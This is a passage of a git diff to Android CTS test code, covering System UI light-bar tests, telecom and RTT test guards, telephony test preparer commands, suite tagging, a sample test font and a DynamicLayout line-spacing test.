+        return Math.abs(Color.alpha(c1) - Color.alpha(c2)) < COLOR_COMPONENT_ERROR_MARGIN
+                && Math.abs(Color.red(c1) - Color.red(c2)) < COLOR_COMPONENT_ERROR_MARGIN
+                && Math.abs(Color.green(c1) - Color.green(c2)) < COLOR_COMPONENT_ERROR_MARGIN
+                && Math.abs(Color.blue(c1) - Color.blue(c2)) < COLOR_COMPONENT_ERROR_MARGIN;
     }
 }
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarThemeActivity.java b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeActivity.java
new file mode 100644
index 0000000..d28d2b5
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeActivity.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.systemui.cts;
+
+public class LightBarThemeActivity extends LightBarBaseActivity {
+}
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
new file mode 100644
index 0000000..5c9f70f
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.systemui.cts;
+
+import static android.support.test.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
+
+import android.content.pm.PackageManager;
+import android.graphics.Bitmap;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.UiDevice;
+import android.content.pm.PackageManager;
+import android.view.View;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for light system bars that set the flag via theme.
+ *
+ * mmma cts/tests/tests/systemui
+ * cts-tradefed run commandAndExit cts-dev --module CtsSystemUiTestCases --test android.systemui.cts.LightBarThemeTest --disable-reboot --skip-device-info --skip-all-system-status-check --skip-preconditions
+ */
+@RunWith(AndroidJUnit4.class)
+public class LightBarThemeTest extends LightBarTestBase {
+
+    private UiDevice mDevice;
+
+    @Rule
+    public ActivityTestRule<LightBarThemeActivity> mActivityRule = new ActivityTestRule<>(
+            LightBarThemeActivity.class);
+
+    @Before
+    public void setUp() {
+        assumeFalse(getInstrumentation().getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_EMBEDDED));
+        mDevice = UiDevice.getInstance(getInstrumentation());
+    }
+
+    @Test
+    public void testThemeSetsFlags() throws Exception {
+        final int visibility = mActivityRule.getActivity().getSystemUiVisibility();
+        assertTrue((visibility & View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR) != 0);
+        assertTrue((visibility & View.SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR) != 0);
+    }
+
+    @Test
+    public void testNavigationBarDivider() throws Exception {
+        PackageManager pm = getInstrumentation().getContext().getPackageManager();
+        if (pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            // Car navigation is not transparent
+            return;
+        }
+
+        if (!hasVirtualNavigationBar()) {
+            // No virtual navigation bar, so no effect.
+            return;
+        }
+
+        // Wait until the activity is fully visible
+        mDevice.waitForIdle();
+
+        final int dividerColor = getInstrumentation().getContext().getColor(
+                R.color.navigationBarDividerColor);
+        final Bitmap bitmap = takeNavigationBarScreenshot(mActivityRule.getActivity());
+        int[] pixels = new int[bitmap.getHeight() * bitmap.getWidth()];
+        bitmap.getPixels(pixels, 0, bitmap.getWidth(), 0, 0, bitmap.getWidth(), bitmap.getHeight());
+        for (int col = 0; col < bitmap.getWidth(); col++) {
+            if (dividerColor != pixels[col]) {
+                dumpBitmap(bitmap);
+                fail("Invalid color exptected=" + dividerColor + " actual=" + pixels[col]);
+            }
+        }
+    }
+}
diff --git a/tests/tests/telecom/Android.mk b/tests/tests/telecom/Android.mk
index 3b8b683..8a243eb 100644
--- a/tests/tests/telecom/Android.mk
+++ b/tests/tests/telecom/Android.mk
@@ -35,6 +35,6 @@
 LOCAL_SDK_VERSION := test_current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
old mode 100644
new mode 100755
index 0b70f1b..38f2673
--- a/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
@@ -118,10 +118,37 @@
         waitOnAllHandlers(getInstrumentation());
 
         AudioManager audioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
-        assertEquals(AudioManager.MODE_IN_COMMUNICATION, audioManager.getMode());
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return AudioManager.MODE_IN_COMMUNICATION;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        return audioManager.getMode();
+                    }
+                },
+                WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, "wait for mode in-communication"
+        );
+
         connection.setAudioModeIsVoip(false);
         waitOnAllHandlers(getInstrumentation());
-        assertEquals(AudioManager.MODE_IN_CALL, audioManager.getMode());
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return AudioManager.MODE_IN_CALL;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        return audioManager.getMode();
+                    }
+                },
+                WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, "wait for mode in-call"
+        );
     }
 
     public void testGetAllConnections() {
diff --git a/tests/tests/telecom/src/android/telecom/cts/RttOperationsTest.java b/tests/tests/telecom/src/android/telecom/cts/RttOperationsTest.java
index a11079f..992cbca 100644
--- a/tests/tests/telecom/src/android/telecom/cts/RttOperationsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/RttOperationsTest.java
@@ -43,6 +43,10 @@
     }
 
     public void testOutgoingRttCall() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
         placeRttCall(false);
         final MockConnection connection = verifyConnectionForOutgoingCall();
         final MockInCallService inCallService = mInCallCallbacks.getService();
@@ -52,6 +56,10 @@
     }
 
     public void testIncomingRttCall() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
         placeRttCall(true);
         final MockConnection connection = verifyConnectionForIncomingCall();
         final MockInCallService inCallService = mInCallCallbacks.getService();
@@ -61,6 +69,10 @@
     }
 
     public void testLocalRttUpgradeAccepted() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
         placeAndVerifyCall();
         final MockConnection connection = verifyConnectionForOutgoingCall();
         final MockInCallService inCallService = mInCallCallbacks.getService();
@@ -73,12 +85,18 @@
         startRttCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
 
         connection.setRttTextStream((Connection.RttTextStream) startRttCounter.getArgs(0)[0]);
+        connection.setConnectionProperties(
+            connection.getConnectionProperties() | Connection.PROPERTY_IS_RTT);
         connection.sendRttInitiationSuccess();
         TestUtils.waitOnAllHandlers(getInstrumentation());
         verifyRttEnabled(call, connection);
     }
 
     public void testLocalRttUpgradeRejected() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
         placeAndVerifyCall();
         final MockConnection connection = verifyConnectionForOutgoingCall();
         final MockInCallService inCallService = mInCallCallbacks.getService();
@@ -99,6 +117,10 @@
     }
 
     public void testAcceptRemoteRttUpgrade() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
         placeAndVerifyCall();
         final MockConnection connection = verifyConnectionForOutgoingCall();
         final MockInCallService inCallService = mInCallCallbacks.getService();
@@ -118,6 +140,10 @@
     }
 
     public void testRejectRemoteRttRequest() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
         placeAndVerifyCall();
         final MockConnection connection = verifyConnectionForOutgoingCall();
         final MockInCallService inCallService = mInCallCallbacks.getService();
@@ -138,6 +164,10 @@
     }
 
     public void testLocalRttTermination() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
         placeRttCall(false);
         final MockConnection connection = verifyConnectionForOutgoingCall();
         final MockInCallService inCallService = mInCallCallbacks.getService();
@@ -148,11 +178,17 @@
                 connection.getInvokeCounter(MockConnection.ON_STOP_RTT);
         call.stopRtt();
         stopRttCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        connection.setConnectionProperties(
+            connection.getConnectionProperties() & ~Connection.PROPERTY_IS_RTT);
         TestUtils.waitOnAllHandlers(getInstrumentation());
         verifyRttDisabled(call);
     }
 
     public void testRemoteRttTermination() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
         placeRttCall(false);
         final MockConnection connection = verifyConnectionForOutgoingCall();
         final MockInCallService inCallService = mInCallCallbacks.getService();
@@ -164,6 +200,8 @@
                 connection.getInvokeCounter(MockConnection.ON_STOP_RTT);
         call.stopRtt();
         stopRttCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        connection.setConnectionProperties(
+            connection.getConnectionProperties() & ~Connection.PROPERTY_IS_RTT);
         TestUtils.waitOnAllHandlers(getInstrumentation());
         verifyRttDisabled(call);
     }
diff --git a/tests/tests/telecom2/Android.mk b/tests/tests/telecom2/Android.mk
index 5710e93..8e9c8a5d 100644
--- a/tests/tests/telecom2/Android.mk
+++ b/tests/tests/telecom2/Android.mk
@@ -49,6 +49,6 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/telecom2/AndroidTest.xml b/tests/tests/telecom2/AndroidTest.xml
index a06984f..f4d8e86 100644
--- a/tests/tests/telecom2/AndroidTest.xml
+++ b/tests/tests/telecom2/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Configuration for Telecom2 Tests">
     <option name="config-descriptor:metadata" key="component" value="telecom" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTelecomTestCases2.apk" />
diff --git a/tests/tests/telecom3/Android.mk b/tests/tests/telecom3/Android.mk
index a9afd31..86cb859 100644
--- a/tests/tests/telecom3/Android.mk
+++ b/tests/tests/telecom3/Android.mk
@@ -45,6 +45,6 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/telecom3/AndroidTest.xml b/tests/tests/telecom3/AndroidTest.xml
index 10fe2b1..354581a 100644
--- a/tests/tests/telecom3/AndroidTest.xml
+++ b/tests/tests/telecom3/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Configuration for Telecom3 Tests">
     <option name="config-descriptor:metadata" key="component" value="telecom" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTelecomTestCases3.apk" />
diff --git a/tests/tests/telephony/Android.mk b/tests/tests/telephony/Android.mk
index 58b6afd..1368573 100644
--- a/tests/tests/telephony/Android.mk
+++ b/tests/tests/telephony/Android.mk
@@ -36,7 +36,7 @@
 LOCAL_PACKAGE_NAME := CtsTelephonyTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 # uncomment when b/13250611 is fixed
 #LOCAL_SDK_VERSION := current
diff --git a/tests/tests/telephony/AndroidTest.xml b/tests/tests/telephony/AndroidTest.xml
index 70f0147..41cf7ce 100644
--- a/tests/tests/telephony/AndroidTest.xml
+++ b/tests/tests/telephony/AndroidTest.xml
@@ -29,4 +29,14 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.telephony.cts" />
     </test>
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="pm disable com.google.android.dialer/com.android.voicemail.impl.StatusCheckJobService" />
+        <option name="run-command" value="pm disable com.google.android.dialer/com.android.voicemail.impl.OmtpService" />
+        <option name="teardown-command" value="pm enable com.google.android.dialer/com.android.voicemail.impl.StatusCheckJobService" />
+        <option name="teardown-command" value="pm enable com.google.android.dialer/com.android.voicemail.impl.OmtpService" />
+        <option name="run-command" value="pm disable com.android.dialer/com.android.voicemail.impl.StatusCheckJobService" />
+        <option name="run-command" value="pm disable com.android.dialer/com.android.voicemail.impl.OmtpService" />
+        <option name="teardown-command" value="pm enable com.android.dialer/com.android.voicemail.impl.StatusCheckJobService" />
+        <option name="teardown-command" value="pm enable com.android.dialer/com.android.voicemail.impl.OmtpService" />
+    </target_preparer>
 </configuration>
diff --git a/tests/tests/telephony/preconditions/Android.mk b/tests/tests/telephony/preconditions/Android.mk
index 1b49e7e..e2c3fc5 100644
--- a/tests/tests/telephony/preconditions/Android.mk
+++ b/tests/tests/telephony/preconditions/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_MODULE := compatibility-host-telephony-preconditions
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/telephony/preconditions/app/Android.mk b/tests/tests/telephony/preconditions/app/Android.mk
index 72cbbce..a5fa396 100644
--- a/tests/tests/telephony/preconditions/app/Android.mk
+++ b/tests/tests/telephony/preconditions/app/Android.mk
@@ -32,7 +32,7 @@
                                 compatibility-device-preconditions
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsTelephonyPreparerApp
 
diff --git a/tests/tests/telephony/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java b/tests/tests/telephony/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java
index 8f53f7d..3c2c089 100644
--- a/tests/tests/telephony/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java
+++ b/tests/tests/telephony/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java
@@ -18,6 +18,7 @@
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.test.AndroidTestCase;
+import android.util.Log;
 import com.android.compatibility.common.preconditions.TelephonyHelper;
 
 /**
@@ -36,7 +37,9 @@
             return; // do not test for phone number on devices without telephony feature
         }
 
-        assertTrue("Device must have a SIM card with phone number in order to run CTS",
-                TelephonyHelper.hasPhoneNumber(this.getContext()));
+        if (!TelephonyHelper.hasPhoneNumber(this.getContext())) {
+            Log.e(TAG, "No SIM card with phone number is found in the device, "
+                + "some tests might not run properly");
+        }
     }
 }
\ No newline at end of file
diff --git a/tests/tests/telephony/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java b/tests/tests/telephony/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java
index 88475d1..6a36536 100644
--- a/tests/tests/telephony/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java
@@ -81,8 +81,8 @@
             new ShortCodeTest("al", "654321", CATEGORY_NOT_SHORT_CODE),
 
             new ShortCodeTest("am", "112", expectedReturnCode("112")),
-            new ShortCodeTest("am", "101", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("am", "102", CATEGORY_FREE_SHORT_CODE),
+            //new ShortCodeTest("am", "101", CATEGORY_FREE_SHORT_CODE),
+            //new ShortCodeTest("am", "102", CATEGORY_FREE_SHORT_CODE),
             new ShortCodeTest("am", "103", CATEGORY_FREE_SHORT_CODE),
             new ShortCodeTest("am", "222", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
             new ShortCodeTest("am", "1111", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
diff --git a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
index a6404e0..79097e0 100644
--- a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
@@ -509,7 +509,7 @@
 
         if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             if (!TextUtils.isEmpty(meid)) {
-                assertImei(meid);
+                assertMeidEsn(meid);
             } else {
                 // If MEID is empty, then IMEI must not be empty. A phone should have either a
                 // IMEI or MEID. The validation of IMEI will be checked by testGetImei().
diff --git a/tests/tests/telephony2/Android.mk b/tests/tests/telephony2/Android.mk
index bae1dfa..ec72916 100644
--- a/tests/tests/telephony2/Android.mk
+++ b/tests/tests/telephony2/Android.mk
@@ -32,7 +32,7 @@
 LOCAL_PACKAGE_NAME := CtsTelephony2TestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_JAVA_LIBRARIES += android.test.runner
 
diff --git a/tests/tests/telephony2/AndroidTest.xml b/tests/tests/telephony2/AndroidTest.xml
index 607bbac..78d8d6f 100644
--- a/tests/tests/telephony2/AndroidTest.xml
+++ b/tests/tests/telephony2/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS Telephony test cases">
     <option name="config-descriptor:metadata" key="component" value="telecom" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTelephony2TestCases.apk" />
diff --git a/tests/tests/text/Android.mk b/tests/tests/text/Android.mk
index c769bb1..15a7bcc 100644
--- a/tests/tests/text/Android.mk
+++ b/tests/tests/text/Android.mk
@@ -35,7 +35,7 @@
 LOCAL_PACKAGE_NAME := CtsTextTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 # Enforce public / test api only
 LOCAL_SDK_VERSION := test_current
diff --git a/tests/tests/text/assets/fonts/samplefont.ttx b/tests/tests/text/assets/fonts/samplefont.ttx
new file mode 100644
index 0000000..ba43639
--- /dev/null
+++ b/tests/tests/text/assets/fonts/samplefont.ttx
@@ -0,0 +1,180 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="3000" lsb="93"/>  <!-- 3em -->
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="3" platEncID="10" language="0">
+      <map code="0x0061" name="a" />
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="a" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/text/res/font/samplefont.ttf b/tests/tests/text/res/font/samplefont.ttf
new file mode 100644
index 0000000..768a6f9
--- /dev/null
+++ b/tests/tests/text/res/font/samplefont.ttf
Binary files differ
diff --git a/tests/tests/text/res/values/style.xml b/tests/tests/text/res/values/style.xml
new file mode 100644
index 0000000..b122101
--- /dev/null
+++ b/tests/tests/text/res/values/style.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<resources>
+  <style name="customFont">
+    <item name="android:fontFamily">@font/samplefont</item>
+  </style>
+  <style name="customFontWithStyle">
+    <item name="android:fontFamily">@font/samplefont</item>
+    <item name="android:textStyle">bold|italic</item>
+  </style>
+</resources>
diff --git a/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java b/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
index 426200b..02139c5 100644
--- a/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
@@ -16,6 +16,8 @@
 
 package android.text.cts;
 
+import static android.text.Layout.Alignment.ALIGN_NORMAL;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
@@ -27,6 +29,7 @@
 import android.support.test.runner.AndroidJUnit4;
 import android.text.DynamicLayout;
 import android.text.Layout;
+import android.text.StaticLayout;
 import android.text.TextPaint;
 import android.text.TextUtils;
 
@@ -190,4 +193,64 @@
         assertEquals(TEXT[0].length(), mDynamicLayout.getLineStart(LINE1));
         assertEquals(TEXT[0].length() + TEXT[1].length(), mDynamicLayout.getLineStart(LINE2));
     }
+
+    private Layout createStaticLayout(CharSequence text, TextPaint textPaint, int width,
+            float spacingAdd, float spacingMultiplier) {
+        return StaticLayout.Builder.obtain(text, 0,
+                text.length(), textPaint, width)
+                .setAlignment(ALIGN_NORMAL)
+                .setIncludePad(false)
+                .setLineSpacing(spacingAdd, spacingMultiplier)
+                .build();
+    }
+
+    private void assertLineSpecs(Layout expected, DynamicLayout actual) {
+        final int lineCount = expected.getLineCount();
+        assertTrue(lineCount > 1);
+        assertEquals(lineCount, actual.getLineCount());
+
+        for (int i = 0; i < lineCount; i++) {
+            assertEquals(expected.getLineTop(i), actual.getLineTop(i));
+            assertEquals(expected.getLineDescent(i), actual.getLineDescent(i));
+            assertEquals(expected.getLineBaseline(i), actual.getLineBaseline(i));
+            assertEquals(expected.getLineBottom(i), actual.getLineBottom(i));
+        }
+    }
+
+    @Test
+    public void testLineSpacing_notAffectedByPreviousEllipsization() {
+        // Create an ellipsized DynamicLayout, but throw it away.
+        final String ellipsizedText = "Some arbitrary relatively long text";
+        final DynamicLayout ellipsizedLayout = new DynamicLayout(
+                ellipsizedText,
+                ellipsizedText,
+                mDefaultPaint,
+                1 << 20 /* width */,
+                DEFAULT_ALIGN,
+                SPACING_MULT_NO_SCALE,
+                SPACING_ADD_NO_SCALE,
+                true /* include pad */,
+                TextUtils.TruncateAt.END,
+                2 * (int) mDefaultPaint.getTextSize() /* ellipsizedWidth */);
+
+        // Now try to measure linespacing in a non-ellipsized DynamicLayout.
+        final String text = "a\nb\nc";
+        final float spacingMultiplier = 2f;
+        final float spacingAdd = 4f;
